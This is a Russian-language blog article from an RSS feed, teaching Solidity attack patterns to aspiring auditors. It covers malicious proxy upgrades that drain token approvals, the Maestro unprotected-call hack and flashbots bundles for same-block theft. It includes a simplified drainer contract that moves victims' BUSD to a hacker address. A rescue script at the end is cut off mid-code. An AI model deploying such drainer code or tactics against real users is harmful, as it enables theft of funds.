<?xml version="1.0" encoding="utf-8" ?><rss version="2.0" xmlns:tt="http://teletype.in/" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:media="http://search.yahoo.com/mrss/"><channel><title>Matapc Izi DAO</title><generator>teletype.in</generator><description><![CDATA[https://t.me/izidao]]></description><image><url>https://img3.teletype.in/files/2f/47/2f479fec-1825-4639-91d5-bae3c62039eb.png</url><title>Matapc Izi DAO</title><link>https://teletype.in/@izidao</link></image><link>https://teletype.in/@izidao?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=izidao</link><atom:link rel="self" type="application/rss+xml" href="https://teletype.in/rss/izidao?offset=0"></atom:link><atom:link rel="next" type="application/rss+xml" href="https://teletype.in/rss/izidao?offset=10"></atom:link><atom:link rel="search" type="application/opensearchdescription+xml" title="Teletype" href="https://teletype.in/opensearch.xml"></atom:link><pubDate>Thu, 09 Apr 2026 05:31:22 GMT</pubDate><lastBuildDate>Thu, 09 Apr 2026 05:31:22 GMT</lastBuildDate><item><guid isPermaLink="true">https://teletype.in/@izidao/u-Q8rLelUbt</guid><link>https://teletype.in/@izidao/u-Q8rLelUbt?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=izidao</link><comments>https://teletype.in/@izidao/u-Q8rLelUbt?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=izidao#comments</comments><dc:creator>izidao</dc:creator><title>  Solidity Hacker: level 1</title><pubDate>Mon, 18 Dec 2023 16:57:14 GMT</pubDate><media:content medium="image" url="https://img3.teletype.in/files/25/b4/25b477c3-b5ee-46b6-a334-0483d9d38b40.png"></media:content><description><![CDATA[<img src="https://img3.teletype.in/files/2f/a1/2fa1376d-e77f-4645-8e99-33cd0b8fa3fa.png"></img>Всем привет! Это вторая часть про уязвимости в Солидити, которая сделает тебя еще на шаг ближе к профессии хакера аудитора. Летсго собссна.]]></description><content:encoded><![CDATA[
  <figure id="K6x1" class="m_column">
    <img src="https://img3.teletype.in/files/2f/a1/2fa1376d-e77f-4645-8e99-33cd0b8fa3fa.png" width="720" />
  </figure>
  <blockquote id="AnYl">Всем привет! Это вторая часть про уязвимости в Солидити, которая сделает тебя еще на шаг ближе к профессии <s>хакера</s> аудитора. Летсго собссна.</blockquote>
  <p id="Q3u8"><strong>С вами<a href="https://t.me/izidao" target="_blank"> Matapac</a> и крутейший солидити мэн<a href="https://t.me/danoneo_systems" target="_blank"> Danoneo</a></strong> (обязательно, подпишись. После НГ там будет мясо). Мы решили сделать совместную работу, чтобы эта статья вышла быстрее. <br /><br /><strong>Эта статья имеет Level 1</strong> и перед ее прочтением тебе <strong>нужно срочно прочитать</strong> <strong>Solididty Hacker:</strong> <strong><a href="https://teletype.in/@izidao/_CyiA8cgusJ" target="_blank">Level 0</a></strong> для того, чтобы почувствовать вкус взломов и получить некий багаж знаний.<br /><br /><em>Добро пожаловать, дорогой читатель!</em></p>
  <p id="pIdk"><strong>О чем эта статья?</strong></p>
  <p id="yDZX">Я точно рекомендую тебе прочитать эту статью полность вне зависимости от твоего знания в коде. Как минимум, ты узнаешь много нового про свои любимые проекты, а как максимум откроешь <a href="https://remix.ethereum.org" target="_blank">Remix</a> и пощупаешь все это сам получив первые эмоции от своих тестнетовских выносов.<br /><br /><em>Кстати, здесь не так уж и много кода, как в прошлой статье, поэтому читать тебе будет проще.</em><br /><br />Если у тебя уже есть опыт в коде, то это вообще замечательно. Ибо сегодня ты сможешь прям углубиться в последний тренд взломов и нетипичных способов их воплощать. Здесь правда много интересной информации.<br /><br /><em>Ну и конечно <strong>спасибо <a href="https://t.me/guidedao" target="_blank">GuideDAO</a></strong>(промокод на 10% &quot;IZIDAO&quot;). Если бы не было их, то и не было бы этой статьи. Лучшая web3 школа, где я наконец-то смог начать осваивать код</em></p>
  <h2 id="m6nS">Содержание<br /></h2>
  <p id="AAKP"><strong>1. <a href="#auk9">Низкоуровневые вызовы и как они работают?</a><br />2. <a href="#ZIyj">Как работает функция approve?</a><br />3. <a href="#M7RJ">Прокси контракты - ловушка дьявола.</a><br />4. <a href="#FLc1">Как воруют миллионы с помощью .call?</a><br />5. <a href="#gNUq">Техника грамотных хакеров aka flashbots</a><br />6. <a href="#oqKc">Рабочий код флэшбота от Danoneo</a><br /></strong></p>
  <p id="0ej6"><em>Перед тем, как мы перейдем к нырянию в океан хакинга нам нужно сделать шаг на встречу к Solidity advansed. Короче говоря, мы должны разобраться с более сложными штуками, нежели совсем база по Солидити. Поэтому, крайне рекомендую прочитать главу ниже.</em></p>
  <h2 id="auk9">Низкоуровневые вызовы и как они работают?</h2>
  <p id="MUWa"><br />По идее, низкоуровневые вызовы в Солидити применяются практически повсеместно. Все потому, что они отлично работают и иногда без них практически невозможно.<br /><br />Эти вызовы нужны для того, чтобы обращаться к другим контрактам без использования интерфейса и abi. Например, в блокчейне есть какой-то контракт и мы хотим обратиться к его функции/функциям. Чтобы не изобретать велосипед и не хардкодить мы просто можем воспользоваться низкоуровневым вызовом.<br /><br /><em>Сейчас мы коснемся только двух таких вызовов.</em><br /><br /><strong>.call </strong>- если ты напишешь свой смартконтракт и обратишься к функции из другого контракта, то она выполнится в контексте контракта откуда ты эту функцию дергаешь.</p>
  <pre id="DoRj" data-lang="javascript">contract Called {
  event callEvent(address sender, address origin, address from);
  function callMe() public {
    emit callEvent(msg.sender, tx.origin, address(this));
  }
}

contract Caller {
  function makeCalls(address _contractAddress) public {   
    address(_contractAddress).call(abi.encodeWithSignature(&quot;callMe()&quot;));
  
  }
}</pre>
  <p id="rdyH"><strong><br />Вот что мы получим здесь:</strong></p>
  <ol id="C7x9">
    <li id="mrOh"><code>sender</code> — это контракт <code>Caller</code>.</li>
    <li id="92y6"><code>origin</code> — это учетная запись, отправившая транзакцию на выполнение <code>Caller.makeCalls</code>.</li>
    <li id="J8F2"><code>from</code> — это контракт <code>Called</code>.</li>
  </ol>
  <p id="dTkZ"><strong><br /><br />.delegatecall </strong>- если же ты сделаешь тоже самое, то теперь функция выполнится в контексте уже твоего контракта.</p>
  <pre id="K4lC" data-lang="javascript">contract Called {
  event callEvent(address sender, address origin, address from);
  function callMe() public {
    emit callEvent(msg.sender, tx.origin, address(this));
  }
}

contract Caller {
  function makeCalls(address _contractAddress) public {   
    address(_contractAddress).delegatecall(abi.encodeWithSignature(&quot;callMe()&quot;));
  }
}</pre>
  <p id="Jixv"><strong><br />А вот что мы получим здесь:</strong></p>
  <ol id="PIUL">
    <li id="sdb2"><code>sender</code>это ЕОА!</li>
    <li id="JZ8t"><code>origin</code>также является EOA!</li>
    <li id="p4cU"><code>from</code> — это контракт <code>Caller</code> вместо <code>Called</code> (контракт, который фактически генерирует событие).</li>
  </ol>
  <h2 id="ZIyj">1. Как работает функция approve?</h2>
  <p id="reMJ">Для начала давайте разберем БАЗУ. Функция approve - неотъемлемая часть стандарта ERC-20, то есть любой нормальный токен обладает этой функцией.</p>
  <figure id="4Boi" class="m_original">
    <img src="https://img2.teletype.in/files/95/c4/95c4d0a0-03be-41bf-8d05-07427efe204b.png" width="494" />
  </figure>
  <p id="JjE2"><strong>Как видно на скрине - функция принимает два аргумента: spender и value.</strong></p>
  <section style="background-color:hsl(hsl(170, 33%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="Wk8L"><strong>Spender </strong>- это адрес, который сможет переводить токены с ВАШЕГО баланса куда захочет. Именно на этой функции держится весь DeFi - вы разрешаете контракту использовать ваши средства, и именно так работает 1инч, юнисвап и бриджи.<br />Spender не обязательно должен быть контрактом - вы можете дать approve на любой EOA адрес.<br /><br /><strong>Value </strong>- это количество токенов, которое контракт может перевести с вашего адреса. Обычно люди не парятся и сразу дают &quot;infinite allowance&quot;. Грубо говоря - approve на бесконечную сумму. Грубо, потому что в solidity не существует бесконечности - максимальное число, которое можно указать - это 2 в 256 степени, ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff в байтах, а в виде числа:</p>
    <p id="fYxO"><strong>115792089237316195423570985008687907853269984665640564039457584007913129639935 </strong></p>
  </section>
  <p id="IGKW"><strong>Адрес, которому вы выдали approve, может использовать transferFrom чтобы перевести токены с ВАШЕГО кошелька на любой другой:</strong></p>
  <figure id="j4eC" class="m_original">
    <img src="https://img4.teletype.in/files/f5/58/f558a463-f835-4933-8ffa-659bdf3e8b8d.png" width="495" />
  </figure>
  <p id="hZif"><em>И это главная опасность в DeFi. Не поняли почему? Читаем дальше.</em></p>
  <h2 id="M7RJ">2. Прокси контракты - ловушка дьявола</h2>
  <figure id="dLxf" class="m_retina">
    <img src="https://img2.teletype.in/files/5e/5c/5e5c1098-dd70-4b7c-a2c5-3180b637b764.png" width="512" />
  </figure>
  <p id="at4Y">Что такое прокси контракты? Это контракты-прослойки, которые позволяют отделить хранилище данных основного контракта от его логики. Логику эти контракты тянут из имплементации с помощью <em>DELEGATECALL.</em></p>
  <p id="nvTp"><strong>Так в чём же опасность?</strong></p>
  <p id="Hzl2">Существует ОГРОМНОЕ количество прокси-контрактов, которые имеют десятки/сотни тысяч апрувов. А это значит что в любой момент их владельцы могут сменить имплементацию (логику) контракта на ту, которая вызывает transferFrom.</p>
  <p id="9iFr"><strong>Я распарсил ВСЕ транзакции из основных сетей</strong>, затем оставил только approve транзакции. Из них я собрал гига-базу со всеми адресами и их балансами и allowance в токенах, а также контрактами, на которые они дали approve.</p>
  <p id="9iFr">Затем незамысловатым скриптом прошелся по опкодам, оставив только контракты с функцией .delegatecall.</p>
  <p id="0ONd"><strong>Количество потенциальных рагов повергло меня в шок. </strong><br />К примеру, вот контракт старой пирамиды <a href="https://forsage.io/ru" target="_blank">Forsage</a>: </p>
  <p id="GsEZ"><a href="https://bscscan.com/address/0x5acc84a3e955Bdd76467d3348077d003f00fFB97" target="_blank">https://bscscan.com/address/0x5acc84a3e955Bdd76467d3348077d003f00fFB97</a></p>
  <p id="SkHc">Для того, чтобы участвовать - нужно дать контракту approve на трату BUSD.</p>
  <p id="9iFr"><strong>Что это значит? Это значит что владелец контракта в любой момент может собрать BUSDы с сотен тысяч кошельков.</strong></p>
  <p id="9iFr">Для этого ему достаточно вызвать функцию update, указав в качестве имплементации контракт с функцией transferFrom. После чего он может украсть миллионы одной транзакцией:</p>
  <figure id="8hBV" class="m_original">
    <img src="https://img3.teletype.in/files/25/d3/25d33cc2-320d-4c65-82f2-11a76cff7699.png" width="662" />
  </figure>
  <p id="lImS"><strong>Код новой имплементации может выглядеть так:</strong></p>
  <pre id="zcxZ" data-lang="javascript">pragma solidity ^0.8.0;

 interface IERC20 {
  function transferFrom(address from, address to, uint256 value) external;
   }
   
     contract ATAKA {
      address HACKER = 0xd8dA6BF26964aF9D7eEd9e03E53415D37aA96045;
      address BUSD_CONTRACT = 0xe9e7CEA3DedcA5984780Bafc599bD69ADd087D56;

      function razebalovo(address jertva, uint256 value) public {
       require(tx.origin == HACKER, &quot;Разрешено только хакеру.&quot;);
       IERC20(BUSD_CONTRACT).transferFrom(jertva, HACKER, value);
        }
    }</pre>
  <p id="Oayg">Естественно, это максимально упрощенный пример. Давайте разберем что делает функция <strong>razebalovo</strong>:</p>
  <section style="background-color:hsl(hsl(236, 74%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="1KUG"><strong>require(tx.origin == HACKER)</strong> - аналог onlyOwner, позволяет вызывать эту функцию ТОЛЬКО с адреса хакера, чтобы никто другой не мог повторить эксплойт.</p>
    <p id="hEDB"><strong>IERC20(BUSD_CONTRACT).transferFrom(jertva, HACKER, value) </strong>- функция, которая вызывает transferFrom токена BUSD с адреса жертвы на адрес хакера. Value - количество токенов (можно автоматизировать добавив вызов balanceOf).</p>
  </section>
  <p id="NSH0">После того как овнер поменял имплементацию на контракт с таким кодом - он может вызвать <strong>razebalovo</strong> чтобы украсть BUSD с любого апрувера. </p>
  <p id="8Jtk">Можно переписать функцию, чтобы она принимала массив адресов, и проходилась по ним в цикле. Тогда можно будет &quot;обчистить&quot; сотни адресов ОДНОЙ транзакцией. <a href="https://etherscan.io/tx/0x08b5f35076beb363a7206b8f9b4a6460f42aa9f998b561582fb4e4cdd6f05dce" target="_blank">Например как тут</a>.</p>
  <p id="3rse"><strong>А самое страшное - овнер-хакер может сделать это всё в одном блоке, вы даже не успеете ничего предпринять. Но об этом позже.</strong></p>
  <p id="XLBX">Сейчас же поговорим о функции CALL - и как с её помощью выносят $ млн.</p>
  <h2 id="FLc1">3. Как воруют миллионы используя .call</h2>
  <p id="MyuN"></p>
  <p id="SPCO"><em>Принцип атаки на аппруверов практически такой же как в примере с DELEGATECALL, но с одним отличием.</em></p>
  <p id="Pvh2">С помощью незащищенного .call ЛЮБОЙ адрес может ограбить апруверов.<br />Не только owner контракта. Кто угодно. Даже вы.</p>
  <p id="aYuQ">С помощью этой уязвимости (unprotected call) было совершено ОЧЕНЬ много злодеяний. Примеры можно глянуть здесь: <strong> <a href="https://revoke.cash/exploits" target="_blank">https://revoke.cash/exploits</a></strong></p>
  <p id="4F2P"><strong>Рассмотрим на примере недавнего хака <a href="https://twitter.com/MaestroBots/status/1717113987479785558" target="_blank">Maestro</a> (похищено ~280 ETH):</strong></p>
  <p id="z8Oq">Кто не знает, Maestro - это телеграм-бот для снайпинга щитков. Все покупки/продажи происходят через их роутер (чтобы брать комиссию с пользователей). </p>
  <p id="hJxI">Соответственно, пользователь должен дать approve этому контракту-роутеру.</p>
  <p id="VMcV"><strong>Злоумышленник использовал незащищенный .call в роутере, и угнал кучу токенов с пользователей бота:</strong></p>
  <figure id="2nfH" class="m_column">
    <img src="https://img4.teletype.in/files/7a/ce/7aceae20-2204-46b5-9fda-d5dbfe11619b.png" width="846" />
  </figure>
  <p id="S9J8"><strong>Вообще, .call на внешние контракты встречается повсеместно. </strong>Это нужно для того, чтобы контракт мог взаимодействовать с другими контрактами, делать трансферы/свапы и т.д.</p>
  <p id="rjW7">Но как правило эти .call защищены - обычно ограничен список адресов, на которые можно делать вызов, либо список функций, которые можно вызывать.</p>
  <p id="rRYY"><strong>В случае с Maestro никакой защиты не было.</strong> Можно было подставить любой адрес, и отправить на него любую коллдату. Единственное препятствие - код контракта не верифнут на etherscan, поэтому контракт нужно было декомпилировать.</p>
  <p id="5r39">Лично мы вам советуем этот декомпилятор: <a href="https://library.dedaub.com/decompile" target="_blank">https://library.dedaub.com/decompile</a></p>
  <p id="y9Kk"><strong>После декомпиляции <em><a href="https://etherscan.io/address/0x80a64c6d7f12c47b7c66c5b4e20e72bc1fcd5d9e" target="_blank">0x80a64c6d7f12c47b7c66c5b4e20e72bc1fcd5d9e </a></em>хакер обнаружил вот такую функцию:</strong></p>
  <figure id="Vb30" class="m_original">
    <img src="https://img1.teletype.in/files/ca/6c/ca6cb74a-2a53-46ea-8a16-c32ea7570952.png" width="679" />
  </figure>
  <section style="background-color:hsl(hsl(236, 74%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="P6tR"><strong>Исходя из контекста: <br /></strong><br /><strong>varg0 </strong>- контракт, на который будет сделан вызов. Туда злодей подставлял контракты токенов, которые хотел похитить.</p>
    <p id="1p7H"><strong>varg1 </strong>- коллдата, которую исполнит вызываемый контракт. Туда нужно было передать коллдату transferFrom токенов с адреса жертвы на свой.</p>
    <p id="3H6p"><strong>varg2 </strong>- miner tip (взятка майнеру, чтобы попасть в блок раньше остальных).</p>
    <p id="iIra"><strong>varg3</strong> - абсолютно плевать.</p>
  </section>
  <p id="0Rnl"><strong>Подробнее про varg1 и коллдату:</strong></p>
  <p id="HtEA"><strong>Коллдата </strong>- это байтовое представление функции. То есть знакомая вам из 1 главы функция <strong>transferFrom </strong>в &quot;очеловеченном&quot; виде выглядит так:</p>
  <figure id="xfkT" class="m_original">
    <img src="https://img1.teletype.in/files/c1/28/c128c4f5-6755-4c36-8240-f3768830305e.png" width="662" />
  </figure>
  <p id="dwJx"><strong>А в байтовом представлении так:</strong></p>
  <figure id="CNM6" class="m_original">
    <img src="https://img4.teletype.in/files/fa/01/fa01221b-8495-4adb-8266-e42dcd47b5cf.png" width="667" />
  </figure>
  <p id="9WdB">Обратите внимание на селектор функции <strong>0x23b872dd </strong>- это первые 4 байта (или первые 8 символов после 0x) в коллдате. </p>
  <p id="5exk"><strong>0x23b872dd </strong>- селектор функции transferFrom. Он получается из первых 8 символов keccak-256 хэша от названия функции и переменных, которые она принимает. То есть хэш от <strong>transferFrom(address,address,uint256)</strong>.</p>
  <p id="QNB4"><strong>Можете убедиться здесь</strong>: <a href="https://emn178.github.io/online-tools/keccak_256.html" target="_blank">https://emn178.github.io/online-tools/keccak_256.html</a></p>
  <figure id="u7dY" class="m_column">
    <img src="https://img4.teletype.in/files/75/11/751146fd-b5e0-47db-8d61-2726eb00e2f6.png" width="944" />
  </figure>
  <p id="zZdZ">Теперь, надеюсь, с коллдатой вам стало все понятней. Двигаемся дальше.</p>
  <h2 id="gNUq">4. Техника грамотных хакеров</h2>
  <p id="gj53"><br /><em>Много раз вы слышали про <a href="https://docs.flashbots.net/" target="_blank">flashbots</a> и много раз было упомянуто, что именно хакеры на каждом шагу используют этих ботов. Но как? Зачем? Почему?<br /><br />Сейчас ты все узнаешь!</em></p>
  <p id="HICo"><strong>Если кто то до сих пор не знает что это - объясняем: </strong></p>
  <p id="sdQj"><br />Флешботы - это ребята, которые немного модифицировали стандартный <a href="https://github.com/ethereum/go-ethereum" target="_blank">geth</a> клиент и внедрили туда <a href="https://docs.flashbots.net/flashbots-mev-boost/introduction" target="_blank">mev-boost</a>. Эта штука позволяет валидаторам менять порядок транзакций в блоке для извлечения максимальной выгоды для себя.</p>
  <p id="Qrig">На данный момент практически все валидаторы в мейннете используют модифицированные клиенты с mev-boost. Также альтернатива флешботам есть и в BSC, но об этом может быть в другой раз.</p>
  <p id="xUSC"><strong>Но что это даёт пользователям сети?</strong></p>
  <p id="XUEU">Теперь любой пользователь может отправить <strong>приватную </strong>транзакцию, минуя публичный мемпул. Но что еще круче - он может отправить бандл из нескольких транзакций. В том числе на условиях того, что либо ВСЕ транзакции из бандла будут гарантированно включены блок, либо НИ ОДНОЙ. Это защищает от фейлов и непредсказуемых результатов. Идеальный инструмент для хакеров!</p>
  <p id="sFSv"><strong>Примеры использования флешботов:</strong></p>
  <p id="viFX"></p>
  <p id="EHx4"><strong>1. Вывод активов со скомпрометированных кошельков.</strong></p>
  <p id="EHx4">Представьте что вы <s>проебали</s> приватный ключ от своего кошелька. Теперь его захватил свипер, который моментально крадёт всю нативку, которая поступает на баланс. Вы не можете его обойти в честной борьбе - он готов сжигать до 100% от поступившей суммы на газ.</p>
  <p id="EHx4">А у вас там нфтшки, стейкинги, ДРОПЫ...</p>
  <p id="oXzE"><strong>Так что же делать? Правильно, использовать флешбот бандл.</strong>К примеру вы хотите достать кейки в бск сети из стейкинга и перевести на безопасный адрес. Делаем бандл с нужной логикой:</p>
  <p id="YaeZ"></p>
  <figure id="IzO5" class="m_original">
    <img src="https://img3.teletype.in/files/a4/9a/a49a528a-90bf-402c-a24a-d247d863610b.png" width="560" />
  </figure>
  <section style="background-color:hsl(hsl(55,  86%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="0sEY">tx1 = перевод BNB на похищенный кошелек для оплаты газа<br />tx2 = вывод всех CAKE со стейкинга<br />tx3 = перевод всех CAKE на безопасный адрес</p>
  </section>
  <p id="QsvP">Обратите внимание - все три транзакции находятся в одном блоке. Вы НЕ СМОЖЕТЕ отправить такой бандл в публичный мемпул - стандартная geth нода не даст вам отправить транзакции с адреса без баланса.</p>
  <p id="7qKH">Этой техникой активно пользуются дрейнеры и фишеры, чтобы в одном блоке красть у жертвы всё, не давая ей шансов среагировать и спастись.</p>
  <p id="ETZc"></p>
  <p id="Bk4R"><strong>2. Симуляция атаки и гарантия что её не перехватят.</strong></p>
  <p id="s8Eo">При планировании атаки хакеры могут симулировать сложную цепочку из транзакций, чтобы убедиться что всё сработает. </p>
  <p id="1r0f">Например, хакер получил приватник от прокси-овнера, и хочет украсть деньги у всех аппруверов. </p>
  <p id="VgwQ">Чтобы сделать это максимально эффективно - он может сделать флешбот бандл из всех транзакций, уместив всю грязь в одном блоке.</p>
  <p id="E7TW">В таком случае НИКТО не сможет спастись - атаку можно будет увидеть лишь ретроспективно, после того как блок будет подписан. Но увы, будет слишком поздно.</p>
  <p id="HRmQ"><strong>Вот пример такой атаки:</strong></p>
  <section style="background-color:hsl(hsl(55,  86%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="DZQb">tx1 = деплой имплементации с логикой атаки<br />tx2 = вызов upgradeTo на контракте прокси<br />tx... = вызов всех остальных необходимых для атаки функций</p>
  </section>
  <section style="background-color:hsl(hsl(236, 74%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="uJWa">Кстати, тут есть интересный момент. Чтобы использовать upgradeTo - хакеру нужно знать, по какому адресу будет располагаться его контракт после деплоя. Но как его узнать?</p>
    <p id="rrOK"><strong>На самом деле в блокчейне нет никакого рандома.</strong> Адрес контракта детерминированно вычисляется из адреса его создателя и количества транзакций, отправленных создателем (nonce). Отправитель и nonce кодируются RLP, а затем хешируются с помощью Keccak-256.</p>
    <p id="BAqz"><strong>Вот так можно вычислить адрес контракта с помощью python:</strong></p>
    <p id="VEpj"><em>contract_address = sha3(rlp.encode([normalize_address(sender), nonce]))[12:]</em></p>
  </section>
  <p id="oFrx"></p>
  <p id="oqKc"><strong><em>&quot;Эй, вы тут красиво лечите про флэшботы. А слабо самим показать рабочий пример?&quot; - подумаете вы. А мы ответим, что не слабо.<br /></em></strong><br /><a href="https://t.me/danoneo_systems" target="_blank"><strong>Danoneo</strong></a> (обязательно подписку) <strong>подготовил для вас отличный рабочий вариант на питоне</strong>, который позволит спасти ваши USDT с кошелька со свипером</p>
  <p id="qCcM"></p>
  <pre id="bIaF" data-lang="python">from web3 import Web3, HTTPProvider
from web3.types import TxParams, Wei
from time import sleep

import json
import time
import requests

rpc_url = &quot;https://rpc.ankr.com/eth&quot;
flashbots_url = &quot;https://relay.flashbots.net&quot;
web3 = Web3(Web3.HTTPProvider(rpc_url))
w3 = web3

flashbots_private_key = &#x27;0x0000000000000000000000000000000000000000000000000000000000000120&#x27;

# ЗДЕСЬ УКАЗЫВАЕМ АДРЕСА И ПРИВАТНИКИ

main_account = web3.to_checksum_address(&#x27;0x...&#x27;) private_key = &#x27;приватник от адреса с нативкой&#x27;

compromissed_account = web3.to_checksum_address(&#x27;0x...&#x27;)
compromissed_pkey = &#x27;приватник от скомпрометированного адреса&#x27;

TOKEN_address = web3.to_checksum_address(&quot;0xdac17f958d2ee523a2206206994597c13d831ec7&quot;) #АДРЕС USDT
TOKEN_abi = json.loads(&#x27;[{&quot;constant&quot;:true,&quot;inputs&quot;:[],&quot;name&quot;:&quot;name&quot;,&quot;outputs&quot;:[{&quot;name&quot;:&quot;&quot;,&quot;type&quot;:&quot;string&quot;}],&quot;payable&quot;:false,&quot;stateMutability&quot;:&quot;view&quot;,&quot;type&quot;:&quot;function&quot;},{&quot;constant&quot;:false,&quot;inputs&quot;:[{&quot;name&quot;:&quot;_upgradedAddress&quot;,&quot;type&quot;:&quot;address&quot;}],&quot;name&quot;:&quot;deprecate&quot;,&quot;outputs&quot;:[],&quot;payable&quot;:false,&quot;stateMutability&quot;:&quot;nonpayable&quot;,&quot;type&quot;:&quot;function&quot;},{&quot;constant&quot;:false,&quot;inputs&quot;:[{&quot;name&quot;:&quot;_spender&quot;,&quot;type&quot;:&quot;address&quot;},{&quot;name&quot;:&quot;_value&quot;,&quot;type&quot;:&quot;uint256&quot;}],&quot;name&quot;:&quot;approve&quot;,&quot;outputs&quot;:[],&quot;payable&quot;:false,&quot;stateMutability&quot;:&quot;nonpayable&quot;,&quot;type&quot;:&quot;function&quot;},{&quot;constant&quot;:true,&quot;inputs&quot;:[],&quot;name&quot;:&quot;deprecated&quot;,&quot;outputs&quot;:[{&quot;name&quot;:&quot;&quot;,&quot;type&quot;:&quot;bool&quot;}],&quot;payable&quot;:false,&quot;stateMutability&quot;:&quot;view&quot;,&quot;type&quot;:&quot;function&quot;},{&quot;constant&quot;:false,&quot;inputs&quot;:[{&quot;name&quot;:&quot;_evilUser&quot;,&quot;type&quot;:&quot;address&quot;}],&quot;name&quot;:&quot;addBlackList&quot;,&quot;outputs&quot;:[],&quot;payable&quot;:false,&quot;stateMutability&quot;:&quot;nonpayable&quot;,&quot;type&quot;:&quot;function&quot;},{&quot;constant&quot;:true,&quot;inputs&quot;:[],&quot;name&quot;:&quot;totalSupply&quot;,&quot;outputs&quot;:[{&quot;name&quot;:&quot;&quot;,&quot;type&quot;:&quot;uint256&quot;}],&quot;payable&quot;:false,&quot;stateMutability&quot;:&quot;view&quot;,&quot;type&quot;:&quot;function&quot;},{&quot;constant&quot;:false,&quot;inputs&quot;:[{&quot;name&quot;:&quot;_from&quot;,&quot;type&quot;:&quot;address&quot;},{&quot;name&quot;:&quot;_to&quot;,&quot;type&quot;:&quot;address&quot;},{&quot;name&quot;:&quot;_value&quot;,&quot;type&quot;:&quot;uint256&quot;}],&quot;name&quot;:&quot;transferFrom&quot;,&quot;outputs&quot;:[],&quot;payable&quot;:false,&quot;stateMutability&quot;:&quot;nonpayable&quot;,&quot;type&quot;:&quot;function&quot;},{&quot;constant&quot;:true,&quot;inputs&quot;:[],&quot;name&quot;:&quot;upgradedAddress&quot;,&quot;outputs&quot;:[{&quot;name&quot;:&quot;&quot;,&quot;type&quot;:&quot;address&quot;}],&quot;payable&quot;:false,&quot;stateMutability&quot;:&quot;view&quot;,&quot;type&quot;:&quot;function&quot;},{&quot;constant&quot;:true,&quot;inputs&quot;:[{&quot;name&quot;:&quot;&quot;,&quot;type&quot;:&quot;address&quot;}],&quot;name&quot;:&quot;balances&quot;,&quot;outputs&quot;:[{&quot;name&quot;:&quot;&quot;,&quot;type&quot;:&quot;uint256&quot;}],&quot;payable&quot;:false,&quot;stateMutability&quot;:&quot;view&quot;,&quot;type&quot;:&quot;function&quot;},{&quot;constant&quot;:true,&quot;inputs&quot;:[],&quot;name&quot;:&quot;decimals&quot;,&quot;outputs&quot;:[{&quot;name&quot;:&quot;&quot;,&quot;type&quot;:&quot;uint256&quot;}],&quot;payable&quot;:false,&quot;stateMutability&quot;:&quot;view&quot;,&quot;type&quot;:&quot;function&quot;},{&quot;constant&quot;:true,&quot;inputs&quot;:[],&quot;name&quot;:&quot;maximumFee&quot;,&quot;outputs&quot;:[{&quot;name&quot;:&quot;&quot;,&quot;type&quot;:&quot;uint256&quot;}],&quot;payable&quot;:false,&quot;stateMutability&quot;:&quot;view&quot;,&quot;type&quot;:&quot;function&quot;},{&quot;constant&quot;:true,&quot;inputs&quot;:[],&quot;name&quot;:&quot;_totalSupply&quot;,&quot;outputs&quot;:[{&quot;name&quot;:&quot;&quot;,&quot;type&quot;:&quot;uint256&quot;}],&quot;payable&quot;:false,&quot;stateMutability&quot;:&quot;view&quot;,&quot;type&quot;:&quot;function&quot;},{&quot;constant&quot;:false,&quot;inputs&quot;:[],&quot;name&quot;:&quot;unpause&quot;,&quot;outputs&quot;:[],&quot;payable&quot;:false,&quot;stateMutability&quot;:&quot;nonpayable&quot;,&quot;type&quot;:&quot;function&quot;},{&quot;constant&quot;:true,&quot;inputs&quot;:[{&quot;name&quot;:&quot;_maker&quot;,&quot;type&quot;:&quot;address&quot;}],&quot;name&quot;:&quot;getBlackListStatus&quot;,&quot;outputs&quot;:[{&quot;name&quot;:&quot;&quot;,&quot;type&quot;:&quot;bool&quot;}],&quot;payable&quot;:false,&quot;stateMutability&quot;:&quot;view&quot;,&quot;type&quot;:&quot;function&quot;},{&quot;constant&quot;:true,&quot;inputs&quot;:[{&quot;name&quot;:&quot;&quot;,&quot;type&quot;:&quot;address&quot;},{&quot;name&quot;:&quot;&quot;,&quot;type&quot;:&quot;address&quot;}],&quot;name&quot;:&quot;allowed&quot;,&quot;outputs&quot;:[{&quot;name&quot;:&quot;&quot;,&quot;type&quot;:&quot;uint256&quot;}],&quot;payable&quot;:false,&quot;stateMutability&quot;:&quot;view&quot;,&quot;type&quot;:&quot;function&quot;},{&quot;constant&quot;:true,&quot;inputs&quot;:[],&quot;name&quot;:&quot;paused&quot;,&quot;outputs&quot;:[{&quot;name&quot;:&quot;&quot;,&quot;type&quot;:&quot;bool&quot;}],&quot;payable&quot;:false,&quot;stateMutability&quot;:&quot;view&quot;,&quot;type&quot;:&quot;function&quot;},{&quot;constant&quot;:true,&quot;inputs&quot;:[{&quot;name&quot;:&quot;who&quot;,&quot;type&quot;:&quot;address&quot;}],&quot;name&quot;:&quot;balanceOf&quot;,&quot;outputs&quot;:[{&quot;name&quot;:&quot;&quot;,&quot;type&quot;:&quot;uint256&quot;}],&quot;payable&quot;:false,&quot;stateMutability&quot;:&quot;view&quot;,&quot;type&quot;:&quot;function&quot;},{&quot;constant&quot;:false,&quot;inputs&quot;:[],&quot;name&quot;:&quot;pause&quot;,&quot;outputs&quot;:[],&quot;payable&quot;:false,&quot;stateMutability&quot;:&quot;nonpayable&quot;,&quot;type&quot;:&quot;function&quot;},{&quot;constant&quot;:true,&quot;inputs&quot;:[],&quot;name&quot;:&quot;getOwner&quot;,&quot;outputs&quot;:[{&quot;name&quot;:&quot;&quot;,&quot;type&quot;:&quot;address&quot;}],&quot;payable&quot;:false,&quot;stateMutability&quot;:&quot;view&quot;,&quot;type&quot;:&quot;function&quot;},{&quot;constant&quot;:true,&quot;inputs&quot;:[],&quot;name&quot;:&quot;owner&quot;,&quot;outputs&quot;:[{&quot;name&quot;:&quot;&quot;,&quot;type&quot;:&quot;address&quot;}],&quot;payab